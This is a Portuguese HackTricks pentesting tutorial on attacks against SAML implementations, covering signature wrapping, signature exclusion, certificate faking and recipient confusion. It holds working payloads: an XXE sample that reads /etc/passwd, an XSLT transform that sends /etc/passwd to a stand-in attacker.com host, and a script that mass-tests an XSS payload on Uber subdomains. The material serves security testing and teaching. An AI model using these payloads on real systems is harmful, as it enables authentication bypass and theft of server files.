hacktricks/pentesting-web/saml-attacks/README.md

20 KiB

Ataques SAML

Ataques SAML

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Ferramenta

SAMLExtractor: Uma ferramenta que pode receber uma URL ou lista de URLs e retornar a URL de consumo SAML.

Viagem de ida e volta XML

No XML, a parte assinada do XML é salva na memória, em seguida, ocorre alguma codificação/decodificação e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, os dados verificados e os dados originais podem não ser os mesmos.

Por exemplo, verifique o código a seguir:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Executar o programa contra o REXML 3.2.4 ou anterior resultaria na seguinte saída:

First child in original doc: Y
First child after round-trip: Z

Este é o modo como o REXML viu o documento XML original do programa acima:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

E este é o modo como o viu após uma rodada de análise e serialização:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Para mais informações sobre a vulnerabilidade e como abusar dela:

Ataques de Envoltório de Assinatura XML

Nos ataques de Envoltório de Assinatura XML (XSW), os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: validação de assinatura e invocação de função. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante injeta elementos forjados que não comprometem a validade da Assinatura XML. Essa manipulação tem como objetivo criar uma discrepância entre os elementos analisados pela lógica da aplicação e aqueles verificados pelo módulo de verificação de assinatura. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os elementos fraudulentos. Consequentemente, o atacante efetivamente contorna a proteção de integridade e autenticação de origem da Assinatura XML, permitindo a injeção de conteúdo arbitrário sem detecção.

Os seguintes ataques são baseados neste post de blog e neste artigo. Portanto, consulte-os para mais detalhes.

XSW #1

  • Estratégia: Um novo elemento raiz contendo a assinatura é adicionado.
  • Implicação: O validador pode se confundir entre o "Response -> Assertion -> Subject" legítimo e o "novo Response -> Assertion -> Subject" do atacante, levando a problemas de integridade de dados.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Diferença do XSW #1: Utiliza uma assinatura destacada em vez de uma assinatura envolvente.
  • Implicação: A estrutura "maliciosa", semelhante ao XSW #1, visa enganar a lógica de negócios após a verificação de integridade.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Estratégia: Uma Assertion maliciosa é criada no mesmo nível hierárquico que a assertion original.
  • Implicação: Pretende confundir a lógica de negócios para usar os dados maliciosos.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Diferença do XSW #3: A Assertion original se torna filha da Assertion duplicada (maliciosa).
  • Implicação: Semelhante ao XSW #3, mas altera a estrutura XML de forma mais agressiva.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspecto Único: Nem a Assinatura nem a Assertion original seguem configurações padrão (envolvente/envelopante/destacada).
  • Implicação: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Estratégia: Inserção de local semelhante a XSW #4 e #5, mas com um toque.
  • Implicação: A Assertion copiada envolve a Assinatura, que então envolve a Assertion original, criando uma estrutura enganosa aninhada.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Estratégia: Um elemento Extensions é inserido com a Assertion copiada como filho.
  • Implicação: Isso explora o esquema menos restritivo do elemento Extensions para contornar contramedidas de validação de esquema, especialmente em bibliotecas como OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Diferença do XSW #7: Utiliza outro elemento XML menos restritivo para uma variante do ataque.
  • Implicação: A Assertion original se torna filha do elemento menos restritivo, revertendo a estrutura usada no XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Ferramenta

Você pode usar a extensão Burp SAML Raider para analisar a solicitação, aplicar qualquer ataque XSW que escolher e lançá-lo.

XXE

Se você não sabe que tipo de ataques são XXE, por favor, leia a seguinte página:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

As Respostas SAML são documentos XML comprimidos e codificados em base64 e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades XXE. Veja como um ataque desse tipo pode ser visualizado:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Ferramentas

Você também pode usar a extensão Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE e vulnerabilidades SAML.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Para mais informações sobre XSLT, acesse:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

As Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial observar que as transformações XSLT são realizadas antes da verificação da assinatura digital. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.

Aqui você pode encontrar um POC para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção você pode encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Ferramenta

Você também pode usar a extensão Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusão de Assinatura XML

A Exclusão de Assinatura XML observa o comportamento das implementações SAML quando o elemento de Assinatura não está presente. Se este elemento estiver ausente, a validação da assinatura pode não ocorrer, tornando-a vulnerável. É possível testar isso alterando o conteúdo que geralmente é verificado pela assinatura.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Ferramenta

Você também pode usar a extensão Burp SAML Raider. Interceptar a Resposta SAML e clicar em Remover Assinaturas. Ao fazer isso, todos os elementos de Assinatura são removidos.

Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a Assinatura não for necessária pelo Serviço

Falsificação de Certificado

A Falsificação de Certificado é uma técnica para testar se um Provedor de Serviços (SP) verifica corretamente se uma Mensagem SAML é assinada por um Provedor de Identidade (IdP) confiável. Envolve o uso de um *certificado autoassinado para assinar a Resposta ou Declaração SAML, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.

Como Realizar a Falsificação de Certificado

Os seguintes passos descrevem o processo usando a extensão Burp SAML Raider:

  1. Interceptar a Resposta SAML.
  2. Se a resposta contiver uma assinatura, enviar o certificado para o SAML Raider Certs usando o botão Enviar Certificado para SAML Raider Certs.
  3. Na guia Certificados do SAML Raider, selecionar o certificado importado e clicar em Salvar e Autoassinado para criar um clone autoassinado do certificado original.
  4. Voltar para a solicitação interceptada no Proxy do Burp. Selecionar o novo certificado autoassinado no menu suspenso de Assinatura XML.
  5. Remover quaisquer assinaturas existentes com o botão Remover Assinaturas.
  6. Assinar a mensagem ou declaração com o novo certificado usando o botão (Re-)Assinar Mensagem ou (Re-)Assinar Declaração, conforme apropriado.
  7. Encaminhar a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.

Confusão de Destinatário de Token / Confusão de Destino do Provedor de Serviços

A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Serviços envolvem verificar se o Provedor de Serviços valida corretamente o destinatário pretendido de uma resposta. Em essência, um Provedor de Serviços deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo Recipient, encontrado dentro do elemento SubjectConfirmationData de uma Resposta SAML. Este campo especifica uma URL indicando para onde a Declaração deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviços pretendido, a Declaração deve ser considerada inválida.

Como Funciona

Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Em primeiro lugar, deve haver uma conta válida em um Provedor de Serviços (referido como SP-Legit). Em segundo lugar, o Provedor de Serviços direcionado (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende ao SP-Legit.

O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit por meio do Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pelo SP-Target aceitando a Declaração, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS na funcionalidade de Logout

A pesquisa original pode ser acessada através deste link.

Durante o processo de força bruta de diretórios, uma página de logout foi descoberta em:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Ao acessar este link, ocorreu uma redirecionamento para:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Isso revelou que o parâmetro base aceita uma URL. Considerando isso, a ideia surgiu de substituir a URL por javascript:alert(123); na tentativa de iniciar um ataque XSS (Cross-Site Scripting).

Exploração em Massa

A partir desta pesquisa:

A ferramenta SAMLExtractor foi usada para analisar subdomínios de uberinternal.com em busca de domínios que utilizam a mesma biblioteca. Posteriormente, um script foi desenvolvido para visar a página oidauth/prompt. Este script testa o XSS (Cross-Site Scripting) inserindo dados e verificando se eles são refletidos na saída. Nos casos em que a entrada é de fato refletida, o script marca a página como vulnerável.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: